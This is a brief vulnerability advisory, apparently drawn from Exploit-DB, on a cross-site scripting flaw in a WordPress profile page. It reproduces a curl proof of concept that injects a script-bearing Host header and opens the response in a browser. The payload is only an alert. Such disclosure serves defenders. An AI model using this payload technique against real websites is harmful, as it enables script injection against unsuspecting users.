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8.8
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Cross-Site Scripting (XSS)
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Platforms Tested: Web browsers
2020

Malicious URI Exploit

An attacker can exploit this issue by enticing an unsuspecting user to follow a malicious URI. The proof of concept involves sending a malicious URI with a Cookie header and a Host header containing a JavaScript payload, which is then loaded in a web browser.

Mitigation:

Input validation should be used to prevent the execution of malicious scripts.
Source

Exploit-DB raw data:

An attacker can exploit this issue by enticing an unsuspecting user to follow a malicious URI.

The following proof of concept is available: 

curl -H "Cookie: my cookies here" -H "Host: <body
onload=alert(String.fromCharCode(88,83,83))>"
http://www.example.com/wp-admin/profile.php> tmp.html
$ firefox tmp.html